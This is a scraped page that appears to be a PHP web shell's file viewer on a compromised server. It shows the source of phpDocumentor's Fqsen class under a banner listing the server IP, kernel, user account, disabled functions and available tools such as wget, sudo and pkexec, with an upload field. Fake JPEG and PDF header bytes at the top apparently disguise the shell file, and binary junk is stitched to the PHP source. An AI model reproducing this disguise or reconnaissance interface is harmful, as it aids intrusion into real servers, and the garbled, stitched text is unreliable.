ÿØÿà JFIF ÿþ; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 157.90.209.209 / Your IP : 216.73.216.129 [ Web Server : Apache System : Linux hcomm124.dns-wk.info 4.18.0-553.64.1.el8_10.x86_64 #1 SMP Mon Jul 28 12:01:56 EDT 2025 x86_64 User : evidenciarevista ( 1049) PHP Version : 7.2.34 Disable Function : exec,passthru,shell_exec,system Domains : 216 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /home/evidenciarevista/admin/vendor/phpdocumentor/reflection-common/src/ |
Upload File : |
<?php /** * phpDocumentor * * PHP Version 5.5 * * @copyright 2010-2015 Mike van Riel / Naenius (http://www.naenius.com) * @license http://www.opensource.org/licenses/mit-license.php MIT * @link http://phpdoc.org */ namespace phpDocumentor\Reflection; /** * Value Object for Fqsen. * * @link https://github.com/phpDocumentor/fig-standards/blob/master/proposed/phpdoc-meta.md */ final class Fqsen { /** * @var string full quallified class name */ private $fqsen; /** * @var string name of the element without path. */ private $name; /** * Initializes the object. * * @param string $fqsen * * @throws \InvalidArgumentException when $fqsen is not matching the format. */ public function __construct($fqsen) { $matches = array(); $result = preg_match('/^\\\\([\\w_\\\\]*)(?:[:]{2}\\$?([\\w_]+))?(?:\\(\\))?$/', $fqsen, $matches); if ($result === 0) { throw new \InvalidArgumentException( sprintf('"%s" is not a valid Fqsen.', $fqsen) ); } $this->fqsen = $fqsen; if (isset($matches[2])) { $this->name = $matches[2]; } else { $matches = explode('\\', $fqsen); $this->name = trim(end($matches), '()'); } } /** * converts this class to string. * * @return string */ public function __toString() { return $this->fqsen; } /** * Returns the name of the element without path. * * @return string */ public function getName() { return $this->name; } }